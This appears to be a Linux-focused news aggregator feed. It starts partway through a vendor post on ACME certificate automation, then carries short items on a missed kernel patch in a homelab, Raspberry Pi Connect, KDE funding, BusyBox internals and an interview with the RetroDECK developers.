The attack surface created by unmanaged internal certificates is significant and often overlooked. ACME clients handle internal certificate issuance and renewal using the same automation model as public websites, making consistent encryption across the entire infrastructure a practical reality.

Security Considerations When Using ACME Clients on Linux

Automation reduces human error, but it does not eliminate the need for good security hygiene. A few areas deserve particular attention when running ACME clients on Linux in production.

Private key protection: It is the most important step. ACME clients generate private keys directly on the Linux server, and those files need restrictive permissions. Broad read access on a private key file is a critical vulnerability; anyone who can read it can impersonate your server. See our guide on best practices for protecting SSL/TLS certificates for a full checklist.
Least privilege for the ACME process: The client only needs enough access to write certificate files and reload the web server, nothing more. Running it with elevated permissions unnecessarily increases your attack surface.
Renewal monitoring: Renewals are automatic until they are not. A DNS change, a new firewall rule, or a misconfigured challenge response can all cause silent failures, leaving you with an expiring certificate and no warning. Log renewal outcomes and alert on failures. Our post on how to check SSL certificate validity covers the monitoring side in detail.
CA and policy alignment: In regulated environments, your organization likely has an approved CA list, a required key algorithm, and a minimum key length. ACME clients do not enforce those policies on their own; they will use whatever CA you point them at and whatever defaults they are shipped with. Without centralized configuration management, configurations drift across servers over time.

Challenges of Managing ACME at Enterprise Scale

ACME clients on Linux work brilliantly on a single server or a small fleet. The cracks start showing once you are operating at scale across multiple teams, environments, and platforms.

No global visibility: Every server manages its own certificates in isolation. There is no central inventory, no unified dashboard, and no easy way to answer “which certificates are expiring in the next 30 days across all our systems?” A team running Certbot on 40 Nginx servers and acme.sh on container hosts has no single place to look. Orphaned certificates, the certificates that are no longer tied to active services, quietly stay alive as shadow certs, creating compliance exposure and unnecessary risk.
Inconsistent configurations: Enterprise security policies typically mandate specific CAs, key algorithms, and renewal windows. With standalone ACME clients, each server is configured independently. One team uses RSA-2048 from Let’s Encrypt, another uses ECDSA from a different CA entirely, and your compliance audit has to reconcile them manually.
Deployment coordination failures: Renewing a certificate is only half the job. The renewed certificate has to be reloaded by every service that uses it: the web server, the load balancer, the Tomcat instance, and the internal API. ACME clients handle their own reload hooks, but in distributed environments, it is common for a certificate to be updated on disk and silently not reloaded somewhere downstream, producing unexpected TLS failures that are frustrating to diagnose.
No enterprise integrations: ACME clients are automation tools, not operations platforms. They do not send alerts to your SIEM, open tickets in ServiceNow, or integrate with your monitoring stack. A renewal failure on a production server stays invisible until something breaks.

Why Enterprises Need Centralized ACME Management

The solution to these challenges is not to replace ACME clients; they are really good at what they do. The missing piece is a centralized management layer that gives you visibility and control across the entire fleet without changing how individual clients operate.

A centralized layer gives security teams a single inventory of all certificates issued through ACME, regardless of which server or client produced them. Expiring certificates are visible weeks in advance rather than discovered during an outage. Policy enforcement becomes uniform: approved CAs, required key lengths, and renewal thresholds apply everywhere, not just to servers that were carefully configured.

When a certificate needs to be revoked due to a key compromise, every dependent service can be identified and updated in a coordinated manner rather than tracked down manually. When a renewal fails, an alert fires immediately rather than a production incident being the first sign something went wrong.

How Encryption Consulting Can Help

CertSecure Manager is Encryption Consulting’s certificate lifecycle management platform, purpose-built to handle exactly the scale and governance challenges described above.

It sits alongside your existing ACME clients rather than replacing them. Certbot and acme.sh keep doing what they do, while CertSecure Manager tracks every certificate they issue, enforces your cryptographic policies, and gives you a unified view of the entire lifecycle across your Linux infrastructure.

CertSecure Manager integrates with public CAs like Let’s Encrypt and with its own custom ACME endpoint, so issuance and renewal stay fully automated. It also reduces certificate-related outages by providing configurable 30-day or longer advance alerts.

On the deployment side, Ansible playbooks consistently manage ACME client configuration, certificate deployment, and service reloads across Apache, Nginx, Tomcat, and IIS in both on-premises and hybrid cloud environments, all without manual intervention.

As your environment grows, CertSecure Manager scales with it. It provides a unified certificate inventory, enforces cryptographic standards across all teams, and delivers visibility into lifecycle events. Its operational integrations for alerts, ticketing, and audit logging turn certificate management from a reactive fire-fighting exercise into a controlled, auditable process.

Certificate Management

Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.

Book a Demo

Conclusion

ACME has genuinely transformed how SSL/TLS certificate management works on Linux. What used to be a manual, deadline-driven chore is now an automated background process that most teams rarely think about.

The best ACME clients on Linux, including Certbot, acme.sh, and similar tools, handle the issuance and renewal loop reliably across Apache, Nginx, Tomcat, and virtually every other Linux-based platform. With validity periods heading toward 47 days, automation is no longer optional; it is essential.

The gap that remains is governance. Individual ACME clients were not designed to provide enterprise teams with visibility across a fleet, enforce consistent policies, or integrate with the monitoring and alerting systems that production infrastructure relies on.

CertSecure Manager fills that gap, and CBOM Secure, PKI-as-a-Service, and HSM-as-a-Service extend the platform into a complete enterprise cryptographic security stack.

If you are looking to strengthen your certificate automation, tighten governance, or just get ahead of the shift to shorter certificate validity periods, reach out to Encryption Consulting. We help organizations at every stage of that journey, from first ACME deployment to enterprise-wide certificate lifecycle management.

The Update Conundrum - The Unknown Universe

Wed, 13 May 2026 17:10:27 +0000

I started my home lab in 2021. It began with some basic Home Assistant automations and, over the last few years, has spiralled into a proper stack of VMs and containers. I’m self-taught, which is a polite way of saying I’ve learned most of what I know by breaking things and then stubbornly refusing to go to bed until they’re fixed.

This morning, I found a hole in that logic.

A kernel bug, CVE-2026-31431, or “Copy Fail” hit the news. It’s a logic flaw that lets an unprivileged process flip bytes in memory to get root access. Since I run LXC and Docker, my containers share the host kernel. A breach in one container could, in theory, let an attacker walk right out of their sandbox and own the entire host.

I checked my system and saw the build date was from March. The fix landed in late April. I’d run my usual updates and rebooted recently, so I should have been safe.

I wasn’t. I was still running the old, exploitable code.

I’ve always approached updates with a simple mindset: run them, and if it works, carry on. I don’t bother with simulated dry runs or overly cautious checks because I have solid backups. If an update breaks the system, I just roll it back and deal with it when I have more time. In several years of tinkering, I think I’ve only had to actually use that fallback once.

The problem was that my “if it’s broken, roll it back” safety net only works if the update actually happens.

Because I was only running apt upgrade, the system was being overly polite. When a kernel update requires a change in dependencies, something Proxmox kernels do frequently, apt just quietly “keeps back” the package. It doesn’t fail, it doesn’t break the system, and it doesn’t trigger a rollback. It just waits for me to notice. Since I wasn’t looking at the list of upgradable packages, I was rebooting into a system that was exactly as vulnerable as it was before I started.

Correcting it didn’t take a massive maintenance window. I just ensured my latest backups were intact, glanced at the “kept back” list, and used apt full-upgrade to force the transition.

It’s been a bit of an eye-opener. I’m not going to start obsessing over every minor package change, but I’ve definitely changed my workflow. I’m now making a point of actually looking at what apt list --upgradable is telling me. If I see the kernel or Proxmox sitting in that “kept back” pile, I know it’s time to move past the standard upgrade.

I’m also making it a habit to run apt autoremove --purge once I’m happy the new kernel is stable. There’s no point in digital hoarding; it just clutters the boot partition and makes future updates messier.

Missing a nuance like this is the trade-off of being self-taught. You pick up habits that work perfectly until a specific set of circumstances—like a memory-resident kernel exploit—proves they don’t. I’d rather spend ten minutes fixing a workflow than spend a weekend wondering how an attacker got out of a container.

Raspberry Pi is getting into the services game - Jeff Geerling

Wed, 13 May 2026 16:07:36 +0000

...and it's all free—so far.

Raspberry Pi today launched Raspberry Pi Connect, a free remote VPN service for all Pi OS users.

If you create a Raspberry Pi ID, you can sign up for Connect, install rpi-connect on a Pi 4 or 5 running 64-bit Pi OS 12 'Bookworm', and register that Pi with the service.

Then, on any other device's web browser, you can log in and remote control your Pi through Connect's web-based VNC viewer.

The VNC server is based on wayvnc, and the Connect service allows for as many registered Pis as you want (though I'm guessing the interface is optimized for the majority use case of one or a few).

Raspberry Pi Connect was likely shipped in response to RealVNC's slow migration from X11 to Wayland compatibility. RealVNC is installed by default on Pi OS, and has been for a long time, and many Pi users came to rely on it for remote Pi access.

When Pi OS 12 'Bookworm' was launched, they switched from X11 to Wayland, and a number of GUI-reliant apps needed tweaks. RealVNC hasn't been updated to work with Wayland, so it is not runnable by default on the latest Pis or Pi OS—though you can force Pi OS back to X11 instead of Wayland to get RealVNC working.

I've been using Connect for a few weeks in early beta access, and it's been about as decent as any other VNC solution. It's not quite as good as Microsoft's Remote Desktop under bandwidth-constrained use, but it's not bad either.

In this video, I go over use from home to the office (wired cable and fiber Internet) to use on a slow 5G connection (< 1 Mbps with 500ms ping times), and in all cases it's usable, but it's certainly less enjoyable on the slow connection!

There are a few quirks about Connect, like on mobile (I tested on my iPad and iPhone), there's no way to bring up the virtual keyboard, so text entry is impossible unless you use a USB or Bluetooth keyboard.

RealVNC has a full mobile app, so you're able to fully control a remote PC, Mac, or Linux machine much more easily.

Also, Raspberry Pi Connect can do odd things like pick the wrong display if you have multiple monitors connected. You can switch displays in the Pi OS settings, but RealVNC, again, handles that situation better, allowing you to pick a monitor directly in its own UI, or show all monitors.

There are a number of other advantages to RealVNC as well, like multi-user accounts, so I hope they will update to work with Wayland soon. But it's nice to have a free option directly from Raspberry Pi. Especially when it's so simple to use.

I'm especially happy Raspberry Pi added a basic CLI to rpi-connect—you can even sign into the service on a Pi over SSH with the command rpi-connect signin. Copy out the URL, log in via a browser, and the Pi will connect headlessly:

You do need to be running the full desktop Pi OS—Pi OS Lite won't work. And you also need auto-login enabled... at least for the time being. Eventually, I imagine you'll be able to configure Raspberry Pi Connect while flashing the OS using Raspberry Pi Imager, but the service is in Beta, so I'm sure things will change quickly!

I'm sure some people better suited to discussing Connect's security will do that in good time, but I didn't see anything bad in that regard in my initial testing. Keeping the service so simple helps keep the attack surface small. Especially when the potential damage (allowing someone direct remote control access to your Pi, and by extension, your network) is so great!

I have a few other thoughts in the video embedded above, especially regarding whether the service could be monetized at some point, but I'm interested in hearing your thoughts too! The comment form is below, and will always be free!

Sovereign Tech Fund invests over €1 million in KDE software development - KDE Community

Wed, 13 May 2026 13:29:00 +0000

Big Tech’s disregard for privacy laws and individuals’ personal data has become a matter of national security. As news of willful mismanagement fill the headlines on an almost daily basis, the world is beginning to turn away from expensive and insecure spyware-riddled software imposed by the likes of Microsoft, Google, Meta, Apple, et al.

KDE offers the world a better way.

For 30 years, KDE has been providing the free and open-source software essential for digital sovereignty in personal, corporate, and public infrastructures: operating systems, desktop environments, document viewers, image and video editors, software development libraries, and much more.

KDE’s software is competitive, publicly auditable, and freely available. It can be maintained, adapted, and improved in-house or by local software companies. And modifications (along with their source code) can be freely distributed to all users and departments within an organization.

As a non-profit, KDE has no shareholders to serve, no quarterly earnings to grow. KDE charges nothing for its software or its licensing. There are no subscriptions, no spying on users, no disclosure or resale of data that users choose to voluntarily share with KDE, and no secret training of AI models with said data.

KDE will use Sovereign Tech Fund’s investment to push its essential software products to the next level, providing every individual, business, and public administration with the opportunity to regain their privacy, security, and control over their digital sovereignty.

“We have long invested in desktop technologies for a reason: they are the primary way people access and use digital services in everyday life” says Fiona Krakenbürger, Technical Director at the Sovereign Tech Agency. “The desktop holds personal data and mediates nearly every service we depend on, from booking the next medical appointment, to education, to the way we work. We are investing in KDE because it is one of the two major desktop environments used across Linux and plays a key role in how millions of people experience open technology. Strengthening KDE's testing infrastructure, security architecture, and communication frameworks is how we invest in the resilience and reliability of the core digital infrastructure that modern society depends on.”

About KDE

KDE is an international technology team that creates free and open source software for desktop and portable computing. Among KDE’s products are a modern desktop system for Linux and UNIX platforms, comprehensive office productivity and groupware suites and hundreds of software titles in many categories including Internet and web applications, multimedia, entertainment, educational, graphics and software development. KDE software is translated into more than 60 languages and is built with ease of use and modern accessibility principles in mind. KDE’s full-featured applications run natively on Linux, BSD, Windows, Haiku, and macOS.

Trademark Notices.

KDE^® and the K Desktop Environment^® logo are registered trademarks of KDE e.V..
Linux is a registered trademark of Linus Torvalds. UNIX is a registered trademark of The Open Group in the United States and other countries.
All other trademarks and copyrights referred to in this announcement are the property of their respective owners.

Press Contacts

For more information send us an email: press@kde.org

JDownloader : le site officiel a diffusé un malware sur Windows et Linux pendant 24 heures

Wed, 13 May 2026 01:32:29 +0000

Le site officiel de JDownloader, l’un des gestionnaires de téléchargements les plus utilisés au monde, a été compromis...

L’article JDownloader : le site officiel a diffusé un malware sur Windows et Linux pendant 24 heures est apparu en premier sur Cyberattaque.org.

What is BusyBox? | Specular

Tue, 12 May 2026 22:11:17 +0000

What is BusyBox?

2026-05-12

before you even know, this moment will be a memory

I've often stumbled upon BusyBox, but only after noticing Alpine, by default, has wget installed did I start to investigate where it comes from. Except the wget version was "BusyBox Wget".

But what's that?

docker run --rm -it alpine sh
/ # which wget
/usr/bin/wget
/ # ls -lah /usr/bin/wget
lrwxrwxrwx    1 root     root          12 Apr 15 04:51 /usr/bin/wget -> /bin/busybox

After running ls -la /usr/bin, my mind was blown: nearly 130+ executables are from a single binary!

That explains the name "multicall binary". But... how? How does BusyBox work?

How does a single binary know which executable to run? Well, I guessed it right:

applet_name = argv[0];
if (applet_name[0] == '-')
  applet_name++;
applet_name = bb_basename(applet_name);

So, an explicit invocation would also work:

/ # busybox ls -1
bin
dev
etc
home

/ # busybox meheh
meheh: applet not found

So, to run wget, we find it by name and run it:

int applet = find_applet_by_name(name);
// ...
run_applet_no_and_exit(applet, name, argv);
// ...
xfunc_error_retval = applet_main[applet_no](argc, argv);

Each applet has its own C file, wget being wget.c. Each applet also appears to have some sort of "config" defined in code comments:

//config:config WGET
//config:	bool "wget (41 kb)"
//config:	default y
//config:	help
//config:	wget is a utility for non-interactive download of files from HTTP
//config:	and FTP servers.
//applet:IF_WGET(APPLET(wget, BB_DIR_USR_BIN, BB_SUID_DROP))
//kbuild:lib-$(CONFIG_WGET) += wget.o

And eventually, we invoke the wget main:

int wget_main(int argc UNUSED_PARAM, char **argv)

Other interesting bits: BusyBox also supports hard links.

busybox --install -s

-s creates symlinks.

You can also list what commands it has compiled in:

/ # busybox --list | wc -l
304

So, Alpine is more like an interface to BusyBox-based binaries. Each binary seems to be a bit stripped-down version of the actual full-blown one. I'd still be interested to know if these are reimplementations or just the original source code of the utility shrunk down.

Alpine, BusyBox, Curiosity, Linux, Tech, Wget

Clunky or funky: Unix System Services vs mainframe Linux

Tue, 12 May 2026 14:48:56 +0000

The post Clunky or funky: Unix System Services vs mainframe Linux appeared first on Planet Mainframe.

❓Linux: Tux in the Data Center

Tue, 12 May 2026 14:48:56 +0000

The post ❓Linux: Tux in the Data Center appeared first on Planet Mainframe.

Beyond the Horizon: Running Db2 Tools from a Unix Shell

Tue, 12 May 2026 14:48:56 +0000

The post Beyond the Horizon: Running Db2 Tools from a Unix Shell appeared first on Planet Mainframe.

RetroDECK Is More Than Emulation: An Interview with the Devs

Tue, 12 May 2026 10:57:11 +0000

Become a Member

Join the thousands who have already subscribed to The Bryant Review! Membership unlocks exclusive articles, a customizable reading experience, and you won't see this message again!

Email sent! Check your inbox to complete your signup.

No spam. Unsubscribe anytime.

There’s a certain way people talk about retro gaming that I’ve never fully clicked with. It almost always comes back to consoles and emulators: what system you’re recreating, how accurate it is, how close it feels to the original hardware. And of course, that’s part of it. But it’s never felt like the full story to me. Retro gaming is way bigger than that. It’s old PC games, weird little shareware titles, arcade cabinets, Flash games you played at school, random projects people built just because they could. It’s messy, all over the place, and tied just as much to personal memories as it is to any specific platform.

That’s why RetroDECK stands out to me. It doesn’t portray retro gaming like a checklist of consoles to emulate, instead it treats it like a whole space to explore. You’ve got emulators, sure, but also interesting engines, ports, tools: things that go beyond just “run this ROM.” It feels less like setting up a bunch of systems and more like opening a door to everything that retro gaming actually is, and maybe can be to you too. Not just the big, obvious classics, but the forgotten corners too. The stuff you didn’t even realize you missed until you see it sitting there.

To dig into that idea a little deeper, I spoke with the developers of the RetroDECK team about how they view retro gaming, emulation, and gaming as a whole. What comes through clearly is that RetroDECK isn’t just a tool, it’s their way of bringing all of those experiences together. Their ongoing effort to make the full spectrum of gaming history easier to access, understand, and enjoy.

RetroDECK

RetroDECK is a polished, beginner-friendly retro gaming platform for Linux systems, available with just one click from Flathub.

Projects like EmuDeck have become very popular for helping people set up 'traditional' console emulation on devices like the Steam Deck. RetroDECK seems to be pursuing a somewhat broader vision of retro gaming that goes beyond just emulating consoles. How would you describe the difference in philosophy between those approaches?

Lazorne: The goal of RetroDECK is to provide an all-in-one retro gaming experience that is easy to install, manage and remove (if you want to).

I have always seen the project as a Retro Gaming Platform that allows people to enjoy these kinds of experiences in a much simpler way than downloading and configuring a multitude of separate apps.

It should be flexible and easy to tinker with for those who want to dig under the hood, while still being extremely simple and accessible for the average user.

When looking at the current landscape, you can see solutions such as script-based installers that configure and set up a multitude of applications in a simpler and more automated way. There are also custom firmware or full operating systems that replace a device original OS .

RetroDECK does not fit into either of those two categories. It is a fairly unique project and our focus is quite different from the others.

In my view at least, RetroDECK is closer in to projects like Heroic, Lutris, or Mini Galaxy than the others. Being that it acts as a platform with a goal of facilitate and manage a broad gaming experince that you bring your games into.

We also use ES-DE as the main frontend, but we are also adding things to it people are not expecting. At the same time in our upcoming update we are adding support for systems that ES-DE currently has noplans to support as they fall outside of its scope and vision.

But generally we want as much as possible to be in upstream ES-DE as we only maintain an extremly light fork. We always try to work closely with the upstream project and regularly share our findings.

We also strive to support other projects without creating drama.

A good recent example of a small act of behind-the-scenes goodwill is when we helped PPSSPP after it encountered issues publishing its 1.20 release on Flathub. We quietly stepped in to help debug their manifest and collaborated without getting in their way and in the end, the release was successfully published for all to enjoy.

A bit of irony is that the 1.20 release is still not in RetroDECK (as of this writing). We are waiting on additional fixes for other components like Dolphin (that we also helped to test).

We also always try to avoid burdening others support systems (such as socials or issue trackers) and have had that as a rule that has long guided the RetroDECK community:

“Do not request upstream support for issues from RetroDECK!”

Such requests create unnecessary friction between projects. Quite frankly:

“Our users are our responsibility”.

Adam: More than anything else, I think that RetroDECK focuses on making things user-friendly upfront.

You can install it and immediately start playing games.

But for folks that want to use PortMaster or play modded Doom WADs, we have lots of tools available.

Lahrs: As retro gaming continues to grow, people are looking toward other ways to dive deeper into what is out there or those already using other tools but are looking for an easier way to use them.

What separates us from other projects is we want to bring all these users under a unified program. RetroDECK is designed to disappear.

When a user selects a game in ES‑DE, it simply launches, no configuration, no obstacles, no decisions to make. By going beyond just console emulation, we are taking these various avenues of retro gaming and giving the user one unified platform to make it happen.

Xargon: My thoughts from the beginning were:

Because most new purchasers see the Steam Deck as a console with a console-like experience.
If I buy a handheld console, what is my the default expectation as a new user or owner?
What happens if a user who doesn’t know what Linux approaches the Steam Deck Desktop Mode and 'Discovers' (😝) that it can be used to play other / older that are outside of the Steam store?

With my background in working on embedded handhelds custom firmware, I started to form a clearer picture of wanting to make something similar for the Steam Deck that should just exist in the default distribution channels.

“EmuSOMETHING” was a name I initially considered for RetroDECK, but then I asked myself:

“Do I really want to be confined to an emulation-only space? What if I include OpenOMF or OpenJazz? That’s not emulation”.

I started on the prototype name was 351EDECK (name was quickly changed to RetroDECK), inspired by the other projects I was involved with EmuELEC and 351ELEC (now known as AmberELEC).

So in the early beginning RetroDECK was never intended to be an emulation-only solution from the start.

IceNine451: From a philosophy standpoint, gaming has always been bigger than “consoles”.

It’s been pinball, and arcade lightgun games.
It’s been telnet MUDs and weird one-off portable game devices.
It’s been couch co-op, MMO raids and absolutely trouncing your friends at Counter Strike 1.6 in the school computer lab.

It’s a lot more than some people give it credit for, so from a technical standpoint why should we limit ourselves to the common consoles when there are so many other ways to game out there, in our collective history?

The problem is that no single person has experience with every way of playing. So we want to make it equally easy to play your favorite childhood game as it is to dive into something you may have never even heard of. Who knows what kind of fun you might discover.

As a project, we owe our very existence to the people who create the emulators, engines and other software that make that kind of gaming, especially on modern hardware, even possible. Without them, RetroDECK wouldn’t even have a reason to exist. What we can try to do is bring those projects together in a way that makes them all equally accessible, equally easy to try out.

Beyond that, part of the technical design philosophy for RetroDECK has always been “simplicity”. I believe devices like the Steam Deck have introduced Linux to whole new generations of people who would have never even (knowingly) come near it.

But as we know, with great power comes great responsibility and someone who isn’t familiar with Linux, or even the more technical sides of computing in general, has the ability to get into a lot of trouble if they are steered even a little bit wrong.

So our distribution model, through Flatpak, is equally important to us as everything else we put into RetroDECK. Most people are familiar with the concept of an “app store”, and Flathub puts a lot of effort into making sure the software on their store is trustworthy. Being able to tell someone “go to the app store on your device and search for our name” and have it be a one-click process, with no terminal needed, is just another part of making all the gaming experiences we hope to provide to people accessible and easy.

Related, when people think about retro gaming, they often picture classic consoles like the NES or PlayStation. But the history of games isso much wider than that. How does RetroDECK try to reflect that broader landscape?

Lazorne: By focusing our efforts on getting applications that are often difficult to run working within RetroDECK and thus making them more accessible.

These are typically projects that either:

Require users to compile binaries themselves
Are not readily available as Flatpaks, Snaps, or AppImages
Exist exclusively as .rpm or .deb packages, on community repositories like the AUR, or as standalone binaries.

By integrating them into our Flatpak, we can make them readily available and expose a much larger audience to these small and often overlooked projects.

We also simplify things like where to place mods, texture pack replacements, shaders and similar things. Making it easier for users to experiment with new ways to experience classic games.

Adam: A lot of my fondest memories of gaming are Flash games.

My friends and I were always trying to work around the school firewalls and filters to play them in the computer lab.

Without projects like Ruffle (which of course we include), these would be truly lost to time.

I recommend Motherload!

Xargon: I won’t repeat what I’ve already said above, so I’ll just share my childhood experience.

Back in 1995:

I turned on my first home computer (I wouldn’t call it “personal,” since it was shared by the family), and the first game I booted was Jazz Jackrabbit (no, not Xargon).

So yes, my first video game experience was on a Windows 95 Plus! PC, with a vibrant nature theme that I still remember to this day.For me, consoles only came later, when my uncle gifted me his “old” Mega Drive.

But starting with a PC meant I knew from the very beginning that gaming wasn’t limited to consoles.

IceNine451: I’ll admit that I am old enough that it physically pains me when people start talking about childhood gaming memories and bring up something like “oh yeah, I used to play Xbox 360 all the time as a little kid!”😂 “Retro” means different things to different people.

To me it will always mean the original consoles from the 80s, even though I started my gaming career on an Apple IIe in school. We don’t get to define what “retro” means to our users. My own hope is just that, whatever their own definition is, we have done what we can to cover it, and bring those memories back. Nostalgia is a hell of a drug.

I don’t think I will ever forget what it felt like when the reality of playing a MUD (which for those who don’t know, is a Multi-User Dungeon, a very early, text-only predecessor to the MMORPG), realizing that there were *other people*, people I didn’t know, playing along with me in this world that someone had created in their own free time. If I can bring that kind of feeling back to someone else, even about a system that they may have forgotten existed, every hour I have spent in this project will have been worth it.

What does the term “retro gaming” mean to you personally, beyond just playing older console titles?

Lazorne: There is no definitive answer to this question. What retro means can differ greatly from person to person, often depending on when they grew up and what they feel nostalgic about. It is not limited to game consoles...

It can also include the old math games you played on a school computer in the 80s or 90s, the early mobile games from pre-Android phones, or the first generations of Android devices.

You will likely get a different answer from everyone you ask. For me, it’s just as broad:

Handhelds
Computers
Consoles
Pinball
Tiger electronics / Game & Watch
Arcade machines
Vintage software
Manuals and Gameboxes Loot

I have loved each of them in different ways, having grown up with all of them. Even back in 1997, I experimented with early emulators like Nesticle, No$GMB, and MAME on Windows 95 and DOS.

I have always been fascinated by old software since I was a child, yet I continue to enjoy modern games on platforms like the Switch 2, PS5 and Steam Deck.

Having played video games since I was about three or four years old, gaming remains a passion for me to this day (though I have far less time for it now and my eyesight and reaction speed are no longer what they were in my peak CS 1.6 LAN party days).

What I hope to do is simply provide people with an easy way to experience those memories again, provided they still have access to their old games. For one person retro might mean the PlayStation 3, while for others it could be systems like the TRS-80 or the BBC Micro. Both viewpoints are valid and that is how we approach the components included in RetroDECK as well.

The same amount of effort we put into supporting something like an Xbox 360 emulator should also be applied to an engine capable of running Wolfenstein 3D, a client for playing MUDs, or an emulator for systems like the TRS-80.

MUD, shown in RetroDECK. This picture is WIP taken from RetroDECK and shared with me, from a future update

One persons retro experience should not be valued more highly than another. Each component in RetroDECK should be treated with equal importance. Just because a large portion of the user base may demand support for a system like the Xbox 360 does not mean we should ignore the voices of users who want to revisit much older platforms and experiences that they grew up with.

In fact, I believe the opposite approach is important. We can lower the barrier to entry for these older systems:

By providing better default inputs
Simplifying installation& launching
Making them easier to manage

This allows more people to experience a small piece of gaming history that was originally accessible only to a relatively small group from an now older generation.

As time goes on, the number of people with first-hand knowledge of these games will naturally decrease.

By building a platform from components and technologies created by many others who are just as passionate about their corner of the retro space as us. The developers of emulators, clients, engines, multi-emulators, ports, systems and tools that together make RetroDECK a cohesive whole.

We all are giving people the opportunity to try them out. In doing so, we help ensure that these stories and experiences continue.

For me, it is important that these stories are not lost but are passed down and retold across generations of gamers:

The dangers of the mines in Manic Miner.
Going on adventures with Dizzy.
Avoiding being eaten by a Grue in Zork.
Knowing the word Xyzzy.
And so much more!

The Zork trilogy was also recently open-sourced by Microsoft in November (thanks, Microsoft!)

You can find it on the Historical Source GitHub and play it in RetroDECK!

Just remember: don’t get eaten by a Grue...it’s not pleasant.

💡

Here are the links to the open sourced Zork games:

https://github.com/historicalsource/zork1/blob/master/COMPILED/zork1.z3

https://github.com/historicalsource/zork2/blob/master/COMPILED/zork2.z3

https://github.com/historicalsource/zork3/blob/master/COMPILED/zork3.z3

...put them in roms/zmachine/

Lahrs: For me, retro gaming is a connection of shared interests between me and my kids.
The cooperative gaming I experienced with my brother and friends growing up, is now an experience I get to have with my son and we bond over retro games.

Sometimes he laughs at how basic my games were compared to the ones he can play now and other times we are sharing the deep concentration of playing Mega-Man 2 (Mega Man Legacy Collection is available on Steam).

ℹ️

^ ...you can use this link to follow the guide on how to extract the ROMs from it:

https://steamcommunity.com/sharedfiles/filedetails/?id=2855823531

Sharing the frustration of defeat and the heart pumping joys of success when finally beating the next boss.

Retro gaming provides these moments:

Moments of nostalgia
Moments of sharing
Moments in gaming
Moments with kids

Xargon: This is a very hard question to answer, maybe it shouldn’t even be called retro gaming at all?!

💡

From the Merriam-Webster Dictionary:

retro: ...relating to, reviving, or being the styles and especially the fashions of the past : fashionably nostalgic or old-fashioned

vintage: ...of old, recognized, and enduring interest, importance, or quality: classic

So, can Coffee Talk or Katana: ZERO really be defined as retro games?
And can an unlucky, forgotten game truly be called vintage?

Semantically, we’re probably talking about a mix of retro and vintage gaming.
But even then, where do we draw the line?

So, borrowing a concept from a podcast I like Power Pizza Podcast (Italian only, sorry):

"Ask your heart, your heart knows the anwser."

Ask yourself: Is the game you’re thinking of a retro game? Your heart knows, and it stays true to you.(Heart in the sense of your inner self, kokoro).

IceNine451: Simple, dying of dysentery.😂

Every American (and maybe elsewhere) who was a kid in the 80s or 90s knows that feeling from school. Apple was working hard to get their early models into the schools, and it literally lead to a sub-segment of the Millennial generation being called “the Oregon Trail kids”.

If that isn’t a retro gaming legacy I don’t know what is. Beyond that, my own idea of really “retro” will always be the handheld devices that predated the GameBoy. Tiger games for me, mostly, but I’m sure there are lots of others that I simply have forgotten about by now.

Maybe RetroDECK will help me remember them again.

Are there types of retro games or platforms you think the broader community sometimes overlooks?

Lazorne: I believe retro computers, in general are often overlooked and people are more console focused.

If you talk to a Gen X gamer about systems like the Commodore 64, VIC-20, or the Amiga their eyes will light up with fiery passion (while forcefully attempting to send you a Spotify playlist of the 100 Best SID Chip Chiptunes).

The same can be said when discussing systems such as the FM Towns, BBC Micro, the Tandy Computer series like the TRS-80, Dragon.

Take the Apple II for example a game like Ultima IV: Quest of the Avatar (available free on GOG with this link!) shaped some players sense of morality and inspired an entire generation of gamers and Prince of Persia set the stage for the action-platformer genre.

ℹ️

You can use https://xu4.sourceforge.net/ to Ultima IV with xu4, or SCUMMVM

Virtual Pinball is another niche but deeply passionate genre that I personally adore. Pinball players are an incredibly dedicated community that are still active to this day and several companies are still creating new tables like American Stern or Swedish Pinball Brothers.

Pinball players are making their own fan-made virtual pinball games for everyone to enjoy. Despite this, the genre is often overlooked even though it continues to thrive (Visual Pinball X will be available in an upcoming update).

MUDs are also extremely overlooked, so obscure that only the most dedicated enthusiasts are aware they still exist. I hope to bring them back into the spotlight in an upcoming update.

I also believe engine rewrites such as:

VCMI for Heroes of Might and Magic III (GOG link) - https://flathub.org/en/apps/eu.vcmi.VCMI
Fheroes for Heroes of Might and Magic II (GOG link) - https://flathub.org/en/apps/io.github.ihhub.Fheroes2
CorsixTH for Theme Hospital (GOG Link) - https://flathub.org/en/apps/com.corsixth.corsixth
...and similar projects

...all deserve a wider audience and I hope more people give them a try (all games are on GOG).

As a final note, Gen X is kind of right about SID chip music, it’s pure banger. Listen to the Ghosts 'n Goblins theme of the C64 and be amazed.

Xargon: Probably the old Japanese computers, such as the NEC PC-9800 series, are worth exploring. Especially if you’re into older anime-style games.

Unfortunately, most of these titles are gated by the Japanese language, but they’re a true takarabako (treasure chest).

TBT REVIEW: Rusty (PC-9800) - oprainfall

In this Throwback Thursday review, we cover Rusty, an action platformer for the NEC PC-9800 that has a striking resemblance to Castlevania games of old.

oprainfallAndy Kidwell

ℹ️

Writer's note: while researching the old NEC PC-9800 games on Xargon's recommendation, I found the great old page above describing their journey with those games on the system. Well worth a read if you're interested!

IceNine451: I think it would have to be basically anything that you might find in an 80s arcade. Not that arcade emulation is necessarily overlooked, MAME is a huge project, but pinball has a pretty die-hard preservation and emulation base even now and I think the aspect of arcade games that gets lost in time is that almost all of the early (pre-NeoGeo) arcade games were complete one-offs.

They were running on fully bespoke hardware, created by electrical engineers simply to run that one single game. The reason the Space Invaders speed up the more of them you destroy was because of an unintended consequence of the hardware design, it wasn’t actually supposed to happen, but then ended up as an iconic feature of that game.

Prior to cartidge systems or even powerful enough central processors, the machine was the game.And it is that kind of ingenuity that I really hope we can do our little part in saving. All of the weird little one-off projects that people worked on in the past, hoping to bring a little more joy into the world.

Do you feel like the project is as much about preserving gaming history and culture as it is about simply running old software?

Lazorne: Yes, it is about making it easier to experience a shared gaming culture across generations.

Adam: I think it’s like watching classic movies.

Being able to play older games gives you history, context and often they’re better than stuff coming out today!

Lahrs: Gaming is a culture and games are art. I do not see the distinction between preserving games compared to preserving art hanging in museums.

Some may scoff at me comparing Atari’s E.T. to Davinci’s Mona Lisa, but both hold significant history to the times theywere created. E.T. is 44 years old and is still being discussed as a major turning point in gaming history, almost destroying industry.

And now, gaming is one of the top media industries in the world. Shouldn’t that be preserved?

Xargon: RetroDECK is like a build-your-own-museum that you create from your own collection or open-source games. It shows you where everything should go, creating a premium museum experience that is easy to enjoy and understand.

It’s true that a museum provides the art itself and visitors don’t have to bring their own.

